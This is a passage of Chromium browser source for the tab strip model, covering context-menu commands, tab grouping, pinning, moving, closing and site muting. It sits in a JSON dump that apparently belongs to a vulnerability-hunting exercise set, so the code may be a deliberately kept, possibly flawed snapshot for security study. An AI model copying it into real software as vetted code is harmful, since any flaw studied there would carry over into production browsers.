UserMetricsAction(\"SoundContentSetting.MuteBy.TabStrip\"));\n      } else {\n        base::RecordAction(\n            UserMetricsAction(\"SoundContentSetting.UnmuteBy.TabStrip\"));\n      }\n      SetSitesMuted(GetIndicesForCommand(context_index), mute);\n      break;\n    }\n\n    case CommandAddToReadLater: {\n      base::RecordAction(\n          UserMetricsAction(\"DesktopReadingList.AddItem.FromTabContextMenu\"));\n      AddToReadLater(GetIndicesForCommand(context_index));\n      break;\n    }\n\n    case CommandAddToNewGroup: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_AddToNewGroup\"));\n\n      tab_groups::TabGroupId new_group =\n          AddToNewGroup(GetIndicesForCommand(context_index));\n      OpenTabGroupEditor(new_group);\n      break;\n    }\n\n    case CommandAddToExistingGroup: {\n      // Do nothing. The submenu's delegate will invoke\n      // ExecuteAddToExistingGroupCommand with the correct group later.\n      break;\n    }\n\n    case CommandRemoveFromGroup: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_RemoveFromGroup\"));\n      RemoveFromGroup(GetIndicesForCommand(context_index));\n      break;\n    }\n\n    case CommandMoveToExistingWindow: {\n      // Do nothing. The submenu's delegate will invoke\n      // ExecuteAddToExistingWindowCommand with the correct window later.\n      break;\n    }\n\n    case CommandMoveTabsToNewWindow: {\n      base::RecordAction(\n          UserMetricsAction(\"TabContextMenu_MoveTabToNewWindow\"));\n      delegate()->MoveTabsToNewWindow(GetIndicesForCommand(context_index));\n      break;\n    }\n\n    default:\n      NOTREACHED();\n  }\n}\n\nvoid TabStripModel::ExecuteAddToExistingGroupCommand(\n    int context_index,\n    const tab_groups::TabGroupId& group) {\n  base::RecordAction(UserMetricsAction(\"TabContextMenu_AddToExistingGroup\"));\n\n  AddToExistingGroup(GetIndicesForCommand(context_index), group);\n}\n\nvoid TabStripModel::ExecuteAddToExistingWindowCommand(int context_index,\n                                                      int browser_index) {\n  base::RecordAction(UserMetricsAction(\"TabContextMenu_AddToExistingWindow\"));\n  delegate()->MoveToExistingWindow(GetIndicesForCommand(context_index),\n                                   browser_index);\n}\n\nstd::vector<base::string16> TabStripModel::GetExistingWindowsForMoveMenu() {\n  return delegate()->GetExistingWindowsForMoveMenu();\n}\n\nbool TabStripModel::WillContextMenuMuteSites(int index) {\n  return !chrome::AreAllSitesMuted(*this, GetIndicesForCommand(index));\n}\n\nbool TabStripModel::WillContextMenuPin(int index) {\n  std::vector<int> indices = GetIndicesForCommand(index);\n  // If all tabs are pinned, then we unpin, otherwise we pin.\n  bool all_pinned = true;\n  for (size_t i = 0; i < indices.size() && all_pinned; ++i)\n    all_pinned = IsTabPinned(indices[i]);\n  return !all_pinned;\n}\n\nbool TabStripModel::WillContextMenuGroup(int index) {\n  std::vector<int> indices = GetIndicesForCommand(index);\n  DCHECK(!indices.empty());\n\n  // If all tabs are in the same group, then we ungroup, otherwise we group.\n  base::Optional<tab_groups::TabGroupId> group = GetTabGroupForTab(indices[0]);\n  if (!group.has_value())\n    return true;\n\n  for (size_t i = 1; i < indices.size(); ++i) {\n    if (GetTabGroupForTab(indices[i]) != group)\n      return true;\n  }\n  return false;\n}\n\n// static\nbool TabStripModel::ContextMenuCommandToBrowserCommand(int cmd_id,\n                                                       int* browser_cmd) {\n  switch (cmd_id) {\n    case CommandReload:\n      *browser_cmd = IDC_RELOAD;\n      break;\n    case CommandDuplicate:\n      *browser_cmd = IDC_DUPLICATE_TAB;\n      break;\n    case CommandSendTabToSelf:\n      *browser_cmd = IDC_SEND_TAB_TO_SELF;\n      break;\n    case CommandSendTabToSelfSingleTarget:\n      *browser_cmd = IDC_SEND_TAB_TO_SELF_SINGLE_TARGET;\n      break;\n    case CommandCloseTab:\n      *browser_cmd = IDC_CLOSE_TAB;\n      break;\n    case CommandFocusMode:\n      *browser_cmd = IDC_FOCUS_THIS_TAB;\n      break;\n    default:\n      *browser_cmd = 0;\n      return false;\n  }\n\n  return true;\n}\n\nint TabStripModel::GetIndexOfNextWebContentsOpenedBy(const WebContents* opener,\n                                                     int start_index) const {\n  DCHECK(opener);\n  DCHECK(ContainsIndex(start_index));\n\n  // Check tabs after start_index first.\n  for (int i = start_index + 1; i < count(); ++i) {\n    if (contents_data_[i]->opener() == opener)\n      return i;\n  }\n  // Then check tabs before start_index, iterating backwards.\n  for (int i = start_index - 1; i >= 0; --i) {\n    if (contents_data_[i]->opener() == opener)\n      return i;\n  }\n  return kNoTab;\n}\n\nbase::Optional<int> TabStripModel::GetNextExpandedActiveTab(\n    int start_index,\n    base::Optional<tab_groups::TabGroupId> collapsing_group) const {\n  // Check tabs from the start_index first.\n  for (int i = start_index + 1; i < count(); ++i) {\n    base::Optional<tab_groups::TabGroupId> current_group = GetTabGroupForTab(i);\n    if (!current_group.has_value() ||\n        (!IsGroupCollapsed(current_group.value()) &&\n         current_group != collapsing_group)) {\n      return i;\n    }\n  }\n  // Then check tabs before start_index, iterating backwards.\n  for (int i = start_index - 1; i >= 0; --i) {\n    base::Optional<tab_groups::TabGroupId> current_group = GetTabGroupForTab(i);\n    if (!current_group.has_value() ||\n        (!IsGroupCollapsed(current_group.value()) &&\n         current_group != collapsing_group)) {\n      return i;\n    }\n  }\n  return base::nullopt;\n}\n\nvoid TabStripModel::ForgetAllOpeners() {\n  for (const auto& data : contents_data_)\n    data->set_opener(nullptr);\n}\n\nvoid TabStripModel::ForgetOpener(WebContents* contents) {\n  const int index = GetIndexOfWebContents(contents);\n  DCHECK(ContainsIndex(index));\n  contents_data_[index]->set_opener(nullptr);\n}\n\nbool TabStripModel::ShouldResetOpenerOnActiveTabChange(\n    WebContents* contents) const {\n  const int index = GetIndexOfWebContents(contents);\n  DCHECK(ContainsIndex(index));\n  return contents_data_[index]->reset_opener_on_active_tab_change();\n}\n\n///////////////////////////////////////////////////////////////////////////////\n// TabStripModel, private:\n\nbool TabStripModel::RunUnloadListenerBeforeClosing(\n    content::WebContents* contents) {\n  return delegate_->RunUnloadListenerBeforeClosing(contents);\n}\n\nbool TabStripModel::ShouldRunUnloadListenerBeforeClosing(\n    content::WebContents* contents) {\n  return contents->NeedToFireBeforeUnloadOrUnloadEvents() ||\n         delegate_->ShouldRunUnloadListenerBeforeClosing(contents);\n}\n\nint TabStripModel::ConstrainInsertionIndex(int index, bool pinned_tab) const {\n  return pinned_tab\n             ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab())\n             : base::ClampToRange(index, IndexOfFirstNonPinnedTab(), count());\n}\n\nint TabStripModel::ConstrainMoveIndex(int index, bool pinned_tab) const {\n  return pinned_tab\n             ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab() - 1)\n             : base::ClampToRange(index, IndexOfFirstNonPinnedTab(),\n                                  count() - 1);\n}\n\nstd::vector<int> TabStripModel::GetIndicesForCommand(int index) const {\n  if (!IsTabSelected(index))\n    return {index};\n  const ui::ListSelectionModel::SelectedIndices& sel =\n      selection_model_.selected_indices();\n  return std::vector<int>(sel.begin(), sel.end());\n}\n\nstd::vector<int> TabStripModel::GetIndicesClosedByCommand(\n    int index,\n    ContextMenuCommand id) const {\n  DCHECK(ContainsIndex(index));\n  DCHECK(id == CommandCloseTabsToRight || id == CommandCloseOtherTabs);\n  bool is_selected = IsTabSelected(index);\n  int last_unclosed_tab = -1;\n  if (id == CommandCloseTabsToRight) {\n    last_unclosed_tab =\n        is_selected ? *selection_model_.selected_indices().rbegin() : index;\n  }\n\n  // NOTE: callers expect the vector to be sorted in descending order.\n  std::vector<int> indices;\n  for (int i = count() - 1; i > last_unclosed_tab; --i) {\n    if (i != index && !IsTabPinned(i) && (!is_selected || !IsTabSelected(i)))\n      indices.push_back(i);\n  }\n  return indices;\n}\n\nbool TabStripModel::IsNewTabAtEndOfTabStrip(WebContents* contents) const {\n  const GURL& url = contents->GetLastCommittedURL();\n  return url.SchemeIs(content::kChromeUIScheme) &&\n         url.host_piece() == chrome::kChromeUINewTabHost &&\n         contents == GetWebContentsAtImpl(count() - 1) &&\n         contents->GetController().GetEntryCount() == 1;\n}\n\nstd::vector<content::WebContents*> TabStripModel::GetWebContentsesByIndices(\n    const std::vector<int>& indices) {\n  std::vector<content::WebContents*> items;\n  items.reserve(indices.size());\n  for (int index : indices)\n    items.push_back(GetWebContentsAtImpl(index));\n  return items;\n}\n\nint TabStripModel::InsertWebContentsAtImpl(\n    int index,\n    std::unique_ptr<content::WebContents> contents,\n    int add_types,\n    base::Optional<tab_groups::TabGroupId> group) {\n  delegate()->WillAddWebContents(contents.get());\n\n  bool active = (add_types & ADD_ACTIVE) != 0;\n  bool pin = (add_types & ADD_PINNED) != 0;\n  index = ConstrainInsertionIndex(index, pin);\n\n  // Have to get the active contents before we monkey with the contents\n  // otherwise we run into problems when we try to change the active contents\n  // since the old contents and the new contents will be the same...\n  WebContents* active_contents = GetActiveWebContents();\n  WebContents* raw_contents = contents.get();\n  std::unique_ptr<WebContentsData> data =\n      std::make_unique<WebContentsData>(std::move(contents));\n  data->set_pinned(pin);\n  if ((add_types & ADD_INHERIT_OPENER) && active_contents) {\n    if (active) {\n      // Forget any existing relationships, we don't want to make things too\n      // confusing by having multiple openers active at the same time.\n      ForgetAllOpeners();\n    }\n    data->set_opener(active_contents);\n  }\n\n  // TODO(gbillock): Ask the modal dialog manager whether the WebContents should\n  // be blocked, or just let the modal dialog manager make the blocking call\n  // directly and not use this at all.\n  const web_modal::WebContentsModalDialogManager* manager =\n      web_modal::WebContentsModalDialogManager::FromWebContents(raw_contents);\n  if (manager)\n    data->set_blocked(manager->IsDialogActive());\n\n  TabStripSelectionChange selection(GetActiveWebContents(), selection_model_);\n\n  contents_data_.insert(contents_data_.begin() + index, std::move(data));\n\n  selection_model_.IncrementFrom(index);\n\n  if (active) {\n    ui::ListSelectionModel new_model = selection_model_;\n    new_model.SetSelectedIndex(index);\n    selection = SetSelection(std::move(new_model),\n                             TabStripModelObserver::CHANGE_REASON_NONE,\n                             /*triggered_by_other_operation=*/true);\n  }\n\n  TabStripModelChange::Insert insert;\n  insert.contents.push_back({raw_contents, index});\n  TabStripModelChange change(std::move(insert));\n  for (auto& observer : observers_)\n    observer.OnTabStripModelChanged(this, change, selection);\n  if (group.has_value())\n    GroupTab(index, group.value());\n\n  return index;\n}\n\nbool TabStripModel::InternalCloseTabs(\n    base::span<content::WebContents* const> items,\n    uint32_t close_types) {\n  if (items.empty())\n    return true;\n\n  const bool closing_all = static_cast<int>(items.size()) == count();\n  base::WeakPtr<TabStripModel> ref = weak_factory_.GetWeakPtr();\n  if (closing_all) {\n    for (auto& observer : observers_)\n      observer.WillCloseAllTabs(this);\n  }\n\n  DetachNotifications notifications(GetWebContentsAtImpl(active_index()),\n                                    selection_model_);\n  const bool closed_all =\n      CloseWebContentses(items, close_types, &notifications);\n\n  // When unload handler is triggered for all items, we should wait for the\n  // result.\n  if (!notifications.detached_web_contents.empty())\n    SendDetachWebContentsNotifications(&notifications);\n\n  if (!ref)\n    return closed_all;\n  if (closing_all) {\n    // CloseAllTabsStopped is sent with reason kCloseAllCompleted if\n    // closed_all; otherwise kCloseAllCanceled is sent.\n    for (auto& observer : observers_)\n      observer.CloseAllTabsStopped(\n          this, closed_all ? TabStripModelObserver::kCloseAllCompleted\n                           : TabStripModelObserver::kCloseAllCanceled);\n  }\n\n  return closed_all;\n}\n\nbool TabStripModel::CloseWebContentses(\n    base::span<content::WebContents* const> items,\n    uint32_t close_types,\n    DetachNotifications* notifications) {\n  if (items.empty())\n    return true;\n\n  // We only try the fast shutdown path if the whole browser process is *not*\n  // shutting down. Fast shutdown during browser termination is handled in\n  // browser_shutdown::OnShutdownStarting.\n  if (!browser_shutdown::HasShutdownStarted()) {\n    // Construct a map of processes to the number of associated tabs that are\n    // closing.\n    base::flat_map<content::RenderProcessHost*, size_t> processes;\n    for (content::WebContents* contents : items) {\n      if (ShouldRunUnloadListenerBeforeClosing(contents))\n        continue;\n      content::RenderProcessHost* process =\n          contents->GetMainFrame()->GetProcess();\n      ++processes[process];\n    }\n\n    // Try to fast shutdown the tabs that can close.\n    for (const auto& pair : processes)\n      pair.first->FastShutdownIfPossible(pair.second, false);\n  }\n\n  // We now return to our regularly scheduled shutdown procedure.\n  bool closed_all = true;\n\n  // The indices of WebContents prior to any modification of the internal state.\n  std::vector<int> original_indices;\n  original_indices.resize(items.size());\n  for (size_t i = 0; i < items.size(); ++i)\n    original_indices[i] = GetIndexOfWebContents(items[i]);\n\n  for (size_t i = 0; i < items.size(); ++i) {\n    WebContents* closing_contents = items[i];\n\n    // The index into contents_data_.\n    int current_index = GetIndexOfWebContents(closing_contents);\n    DCHECK_NE(current_index, kNoTab);\n\n    // Update the explicitly closed state. If the unload handlers cancel the\n    // close the state is reset in Browser. We don't update the explicitly\n    // closed state if already marked as explicitly closed as unload handlers\n    // call back to this if the close is allowed.\n    if (!closing_contents->GetClosedByUserGesture()) {\n      closing_contents->SetClosedByUserGesture(\n          close_types & TabStripModel::CLOSE_USER_GESTURE);\n    }\n\n    if (RunUnloadListenerBeforeClosing(closing_contents)) {\n      closed_all = false;\n      continue;\n    }\n\n    std::unique_ptr<DetachedWebContents> dwc =\n        std::make_unique<DetachedWebContents>(\n            original_indices[i], current_index,\n            DetachWebContentsImpl(current_index,\n                                  close_types & CLOSE_CREATE_HISTORICAL_TAB),\n            /*will_delete=*/true);\n    notifications->detached_web_contents.push_back(std::move(dwc));\n  }\n\n  return closed_all;\n}\n\nWebContents* TabStripModel::GetWebContentsAtImpl(int index) const {\n  CHECK(ContainsIndex(index))\n      << \"Failed to find: \" << index << \" in: \" << count() << \" entries.\";\n  return contents_data_[index]->web_contents();\n}\n\nTabStripSelectionChange TabStripModel::SetSelection(\n    ui::ListSelectionModel new_model,\n    TabStripModelObserver::ChangeReason reason,\n    bool triggered_by_other_operation) {\n  TabStripSelectionChange selection;\n  selection.old_model = selection_model_;\n  selection.old_contents = GetActiveWebContents();\n  selection.new_model = new_model;\n  selection.reason = reason;\n\n  // This is done after notifying TabDeactivated() because caller can assume\n  // that TabStripModel::active_index() would return the index for\n  // |selection.old_contents|.\n  selection_model_ = new_model;\n  selection.new_contents = GetActiveWebContents();\n\n  if (!triggered_by_other_operation &&\n      (selection.active_tab_changed() || selection.selection_changed())) {\n    if (selection.active_tab_changed()) {\n      auto now = base::TimeTicks::Now();\n      if (selection.new_contents &&\n          selection.new_contents->GetRenderWidgetHostView()) {\n        auto input_event_timestamp =\n            tab_switch_event_latency_recorder_.input_event_timestamp();\n        // input_event_timestamp may be null in some cases, e.g. in tests.\n        selection.new_contents->GetRenderWidgetHostView()\n            ->SetRecordContentToVisibleTimeRequest(\n                !input_event_timestamp.is_null() ? input_event_timestamp : now,\n                resource_coordinator::ResourceCoordinatorTabHelper::IsLoaded(\n                    selection.new_contents),\n                /*show_reason_tab_switching=*/true,\n                /*show_reason_unoccluded=*/false,\n                /*show_reason_bfcache_restore=*/false);\n      }\n      tab_switch_event_latency_recorder_.OnWillChangeActiveTab(now);\n    }\n    TabStripModelChange change;\n    auto visibility_tracker = InstallRenderWigetVisibilityTracker(selection);\n    for (auto& observer : observers_)\n      observer.OnTabStripModelChanged(this, change, selection);\n  }\n\n  return selection;\n}\n\nvoid TabStripModel::SelectRelativeTab(bool next, UserGestureDetails detail) {\n  // This may happen during automated testing or if a user somehow buffers\n  // many key accelerators.\n  if (contents_data_.empty())\n    return;\n\n  const int start_index = active_index();\n  base::Optional<tab_groups::TabGroupId> start_group =\n      GetTabGroupForTab(start_index);\n\n  // Ensure the active tab is not in a collapsed group so the while loop can\n  // fallback on activating the active tab.\n  DCHECK(!start_group.has_value() || !IsGroupCollapsed(start_group.value()));\n  const int delta = next ? 1 : -1;\n  int index = (start_index + count() + delta) % count();\n  base::Optional<tab_groups::TabGroupId> group = GetTabGroupForTab(index);\n  while (group.has_value() && IsGroupCollapsed(group.value())) {\n    index = (index + count() + delta) % count();\n    group = GetTabGroupForTab(index);\n  }\n  ActivateTabAt(index, detail);\n}\n\nvoid TabStripModel::MoveTabRelative(bool forward) {\n  const int offset = forward ? 1 : -1;\n\n  // TODO: this needs to be updated for multi-selection.\n  const int current_index = active_index();\n  base::Optional<tab_groups::TabGroupId> current_group =\n      GetTabGroupForTab(current_index);\n\n  int target_index = std::max(std::min(current_index + offset, count() - 1), 0);\n  base::Optional<tab_groups::TabGroupId> target_group =\n      GetTabGroupForTab(target_index);\n\n  // If the tab is at a group boundary and the group is expanded, instead of\n  // actually moving the tab just change its group membership.\n  if (current_group != target_group) {\n    if (current_group.has_value()) {\n      UngroupTab(current_index);\n      return;\n    } else if (target_group.has_value()) {\n      // If the tab is at a group boundary and the group is collapsed, treat the\n      // collapsed group as a tab and find the next available slot for the tab\n      // to move to.\n      const TabGroup* group = group_model_->GetTabGroup(target_group.value());\n      if (group->visual_data()->is_collapsed()) {\n        const gfx::Range tabs_in_group = group->ListTabs();\n        target_index =\n            forward ? tabs_in_group.end() - 1 : tabs_in_group.start();\n      } else {\n        GroupTab(current_index, target_group.value());\n        return;\n      }\n    }\n  }\n  MoveWebContentsAt(current_index, target_index, true);\n}\n\nvoid TabStripModel::MoveWebContentsAtImpl(int index,\n                                          int to_position,\n                                          bool select_after_move) {\n  FixOpeners(index);\n\n  TabStripSelectionChange selection(GetActiveWebContents(), selection_model_);\n\n  std::unique_ptr<WebContentsData> moved_data =\n      std::move(contents_data_[index]);\n  WebContents* web_contents = moved_data->web_contents();\n  contents_data_.erase(contents_data_.begin() + index);\n  contents_data_.insert(contents_data_.begin() + to_position,\n                        std::move(moved_data));\n\n  selection_model_.Move(index, to_position, 1);\n  if (!selection_model_.IsSelected(to_position) && select_after_move)\n    selection_model_.SetSelectedIndex(to_position);\n  selection.new_model = selection_model_;\n\n  TabStripModelChange::Move move;\n  move.contents = web_contents;\n  move.from_index = index;\n  move.to_index = to_position;\n  TabStripModelChange change(move);\n  for (auto& observer : observers_)\n    observer.OnTabStripModelChanged(this, change, selection);\n}\n\nvoid TabStripModel::MoveSelectedTabsToImpl(int index,\n                                           size_t start,\n                                           size_t length) {\n  DCHECK(start < selection_model_.selected_indices().size() &&\n         start + length <= selection_model_.selected_indices().size());\n  size_t end = start + length;\n  int count_before_index = 0;\n  const ui::ListSelectionModel::SelectedIndices& sel =\n      selection_model_.selected_indices();\n  auto indices = std::vector<int>(sel.begin(), sel.end());\n\n  for (size_t i = start; i < end; ++i) {\n    if (indices[i] < index + count_before_index)\n      count_before_index++;\n  }\n\n  // First move those before index. Any tabs before index end up moving in the\n  // selection model so we use start each time through.\n  int target_index = index + count_before_index;\n  size_t tab_index = start;\n  while (tab_index < end && indices[start] < index) {\n    MoveWebContentsAtImpl(indices[start], target_index - 1, false);\n    // It is necessary to re-populate selected indices because\n    // MoveWebContetsAtImpl mutates selection_model_.\n    const auto& new_sel = selection_model_.selected_indices();\n    indices = std::vector<int>(new_sel.begin(), new_sel.end());\n    tab_index++;\n  }\n\n  // Then move those after the index. These don't result in reordering the\n  // selection, therefore there is no need to repopulate indices.\n  while (tab_index < end) {\n    if (indices[tab_index] != target_index) {\n      MoveWebContentsAtImpl(indices[tab_index], target_index, false);\n    }\n    tab_index++;\n    target_index++;\n  }\n}\n\nvoid TabStripModel::AddToNewGroupImpl(const std::vector<int>& indices,\n                                      const tab_groups::TabGroupId& new_group) {\n  DCHECK(!std::any_of(\n      contents_data_.cbegin(), contents_data_.cend(),\n      [new_group](const auto& datum) { return datum->group() == new_group; }));\n\n  group_model_->AddTabGroup(new_group, base::nullopt);\n\n  // Find a destination for the first tab that's not pinned or inside another\n  // group. We will stack the rest of the tabs up to its right.\n  int destination_index = -1;\n  for (int i = indices[0]; i < count(); i++) {\n    const int destination_candidate = i + 1;\n\n    // Grouping at the end of the tabstrip is always valid.\n    if (!ContainsIndex(destination_candidate)) {\n      destination_index = destination_candidate;\n      break;\n    }\n\n    // Grouping in the middle of pinned tabs is never valid.\n    if (IsTabPinned(destination_candidate))\n      continue;\n\n    // Otherwise, grouping is valid if the destination is not in the middle of a\n    // different group.\n    base::Optional<tab_groups::TabGroupId> destination_group =\n        GetTabGroupForTab(destination_candidate);\n    if (!destination_group.has_value() ||\n        destination_group != GetTabGroupForTab(indices[0])) {\n      destination_index = destination_candidate;\n      break;\n    }\n  }\n\n  MoveTabsAndSetGroupImpl(indices, destination_index, new_group);\n}\n\nvoid TabStripModel::AddToExistingGroupImpl(\n    const std::vector<int>& indices,\n    const tab_groups::TabGroupId& group) {\n  // Do nothing if the \"existing\" group can't be found. This would only happen\n  // if the existing group is closed programmatically while the user is\n  // interacting with the UI - e.g. if a group close operation is started by an\n  // extension while the user clicks \"Add to existing group\" in the context\n  // menu.\n  // If this happens, the browser should not crash. So here we just make it a\n  // no-op, since we don't want to create unintended side effects in this rare\n  // corner case.\n  if (!group_model_->ContainsTabGroup(group))\n    return;\n\n  const TabGroup* group_object = group_model_->GetTabGroup(group);\n  int first_tab_in_group = group_object->GetFirstTab().value();\n  int last_tab_in_group = group_object->GetLastTab().value();\n\n  // Split |new_indices| into |tabs_left_of_group| and |tabs_right_of_group| to\n  // be moved to proper destination index. Directly set the group for indices\n  // that are inside the group.\n  std::vector<int> tabs_left_of_group;\n  std::vector<int> tabs_right_of_group;\n  for (int index : indices) {\n    if (index >= first_tab_in_group && index <= last_tab_in_group) {\n      GroupTab(index, group);\n    } else if (index < first_tab_in_group) {\n      tabs_left_of_group.push_back(index);\n    } else {\n      tabs_right_of_group.push_back(index);\n    }\n  }\n\n  MoveTabsAndSetGroupImpl(tabs_left_of_group, first_tab_in_group, group);\n  MoveTabsAndSetGroupImpl(tabs_right_of_group, last_tab_in_group + 1, group);\n}\n\nvoid TabStripModel::MoveTabsAndSetGroupImpl(\n    const std::vector<int>& indices,\n    int destination_index,\n    base::Optional<tab_groups::TabGroupId> group) {\n  // Some tabs will need to be moved to the right, some to the left. We need to\n  // handle those separately. First, move tabs to the right, starting with the\n  // rightmost tab so we don't cause other tabs we are about to move to shift.\n  int numTabsMovingRight = 0;\n  for (size_t i = 0; i < indices.size() && indices[i] < destination_index;\n       i++) {\n    numTabsMovingRight++;\n  }\n  for (int i = numTabsMovingRight - 1; i >= 0; i--) {\n    MoveAndSetGroup(indices[i], destination_index - numTabsMovingRight + i,\n                    group);\n  }\n\n  // Collect indices for tabs moving to the left.\n  std::vector<int> move_left_indices;\n  for (size_t i = numTabsMovingRight; i < indices.size(); i++) {\n    move_left_indices.push_back(indices[i]);\n  }\n\n  // Move tabs to the left, starting with the leftmost tab.\n  for (size_t i = 0; i < move_left_indices.size(); i++)\n    MoveAndSetGroup(move_left_indices[i], destination_index + i, group);\n}\n\nvoid TabStripModel::MoveAndSetGroup(\n    int index,\n    int new_index,\n    base::Optional<tab_groups::TabGroupId> new_group) {\n  if (new_group.has_value()) {\n    // Unpin tabs when grouping -- the states should be mutually exclusive.\n    // Here we manually unpin the tab to avoid moving the tab twice, which can\n    // potentially cause race conditions.\n    if (IsTabPinned(index)) {\n      contents_data_[index]->set_pinned(false);\n      for (auto& observer : observers_) {\n        observer.TabPinnedStateChanged(\n            this, contents_data_[index]->web_contents(), index);\n      }\n    }\n\n    GroupTab(index, new_group.value());\n  } else {\n    UngroupTab(index);\n  }\n\n  if (index != new_index)\n    MoveWebContentsAtImpl(index, new_index, false);\n}\n\nvoid TabStripModel::AddToReadLaterImpl(const std::vector<int>& indices) {\n  ReadingListModel* model =\n      ReadingListModelFactory::GetForBrowserContext(profile_);\n  if (!model || !model->loaded())\n    return;\n\n  for (int index : indices) {\n    WebContents* contents = GetWebContentsAt(index);\n    chrome::MoveTabToReadLater(chrome::FindBrowserWithWebContents(contents),\n                               contents);\n  }\n}\n\nbase::Optional<tab_groups::TabGroupId> TabStripModel::UngroupTab(int index) {\n  base::Optional<tab_groups::TabGroupId> group = GetTabGroupForTab(index);\n  if (!group.has_value())\n    return base::nullopt;\n\n  // Update the tab.\n  contents_data_[index]->set_group(base::nullopt);\n  for (auto& observer : observers_) {\n    observer.TabGroupedStateChanged(\n        base::nullopt, contents_data_[index]->web_contents(), index);\n  }\n\n  // Update the group model.\n  TabGroup* tab_group = group_model_->GetTabGroup(group.value());\n  tab_group->RemoveTab();\n  if (tab_group->IsEmpty())\n    group_model_->RemoveTabGroup(group.value());\n\n  return group;\n}\n\nvoid TabStripModel::GroupTab(int index, const tab_groups::TabGroupId& group) {\n  // Check for an old group first, so that any groups that are changed can be\n  // notified appropriately.\n  base::Optional<tab_groups::TabGroupId> old_group = GetTabGroupForTab(index);\n  if (old_group.has_value()) {\n    if (old_group.value() == group)\n      return;\n    else\n      UngroupTab(index);\n  }\n  contents_data_[index]->set_group(group);\n  for (auto& observer : observers_) {\n    observer.TabGroupedStateChanged(\n        group, contents_data_[index]->web_contents(), index);\n  }\n\n  group_model_->GetTabGroup(group)->AddTab();\n}\n\nvoid TabStripModel::SetTabPinnedImpl(int index, bool pinned) {\n  DCHECK(ContainsIndex(index));\n  if (contents_data_[index]->pinned() == pinned)\n    return;\n\n  // Upgroup tabs if pinning -- the states should be mutually exclusive.\n  if (pinned)\n    UngroupTab(index);\n\n  // The tab's position may have to change as the pinned tab state is changing.\n  int non_pinned_tab_index = IndexOfFirstNonPinnedTab();\n  contents_data_[index]->set_pinned(pinned);\n  if (pinned && index != non_pinned_tab_index) {\n    MoveWebContentsAtImpl(index, non_pinned_tab_index, false);\n    index = non_pinned_tab_index;\n  } else if (!pinned && index + 1 != non_pinned_tab_index) {\n    MoveWebContentsAtImpl(index, non_pinned_tab_index - 1, false);\n    index = non_pinned_tab_index - 1;\n  }\n\n  for (auto& observer : observers_) {\n    observer.TabPinnedStateChanged(this, contents_data_[index]->web_contents(),\n                                   index);\n  }\n}\n\nstd::vector<int> TabStripModel::SetTabsPinned(const std::vector<int>& indices,\n                                              bool pinned) {\n  std::vector<int> new_indices;\n  if (pinned) {\n    for (size_t i = 0; i < indices.size(); i++) {\n      if (IsTabPinned(indices[i])) {\n        new_indices.push_back(indices[i]);\n      } else {\n        SetTabPinnedImpl(indices[i], true);\n        new_indices.push_back(IndexOfFirstNonPinnedTab() - 1);\n      }\n    }\n  } else {\n    for (size_t i = indices.size() - 1; i < indices.size(); i--) {\n      if (!IsTabPinned(indices[i])) {\n        new_indices.push_back(indices[i]);\n      } else {\n        SetTabPinnedImpl(indices[i], false);\n        new_indices.push_back(IndexOfFirstNonPinnedTab());\n      }\n    }\n    std::reverse(new_indices.begin(), new_indices.end());\n  }\n  return new_indices;\n}\n\n// Sets the sound content setting for each site at the |indices|.\nvoid TabStripModel::SetSitesMuted(const std::vector<int>& indices,\n                                  bool mute) const {\n  for (int tab_index : indices) {\n    content::WebContents* web_contents = GetWebContentsAt(tab_index);\n    GURL url = web_contents->GetLastCommittedURL();\n    if (url.SchemeIs(content::kChromeUIScheme)) {\n      // chrome:// URLs don't have content settings but can be muted, so just\n      // mute the WebContents.\n      chrome::SetTabAudioMuted(web_contents, mute,\n                               TabMutedReason::CONTENT_SETTING_CHROME,\n                               std::string());\n    } else {\n      Profile* profile =\n          Profile::FromBrowserContext(web_contents->GetBrowserContext());\n      HostContentSettingsMap* settings =\n          HostContentSettingsMapFactory::GetForProfile(profile);\n      ContentSetting setting =\n          mute ? CONTENT_SETTING_BLOCK : CONTENT_SETTING_ALLOW;\n      if (setting == settings->GetDefaultContentSetting(\n                         ContentSettingsType::SOUND, nullptr)) {\n        setting = CONTENT_SETTING_DEFAULT;\n      }\n      settings->SetContentSettingDefaultScope(\n          url, url, ContentSettingsType::SOUND, setting);\n    }\n  }\n}\n\nvoid TabStripModel::FixOpeners(int index) {\n  WebContents* old_contents = GetWebContentsAtImpl(index);\n  WebContents* new_opener = GetOpenerOfWebContentsAt(index);\n\n  for (auto& data : contents_data_) {\n    if (data->opener() != old_contents)\n      continue;\n\n    // Ensure a tab isn't its own opener.\n    data->set_opener(new_opener == data->web_contents() ? nullptr : new_opener);\n  }\n\n  // Sanity check that none of the tabs' openers refer |old_contents| or\n  // themselves.\n  DCHECK(!std::any_of(\n      contents_data_.begin(), contents_data_.end(),\n      [old_contents](const std::unique_ptr<WebContentsData>& data) {\n        return data->opener() == old_contents ||\n               data->opener() == data->web_contents();\n      }));\n}\n\nvoid TabStripModel::EnsureGroupContiguity(int index) {\n  const auto old_group = GetTabGroupForTab(index);\n  const auto new_left_group = GetTabGroupForTab(index - 1);\n  const auto new_right_group = GetTabGroupForTab(index + 1);\n\n  if (old_group != new_left_group && old_group != new_right_group) {\n    if (new_left_group == new_right_group && new_left_group.has_value()) {\n      // The tab is in the middle of an existing group, so add it to that group.\n      GroupTab(index, new_left_group.value());\n    } else if (old_group.has_value() &&\n               group_model_->GetTabGroup(old_group.value())->tab_count() > 1) {\n      // The tab is between groups and its group is non-contiguous, so clear\n      // this tab's group.\n      UngroupTab(index);\n    }\n  }\n}\n"
  },
  {
    "path": "LEVEL_2/exercise_5/tab_strip_model.h",
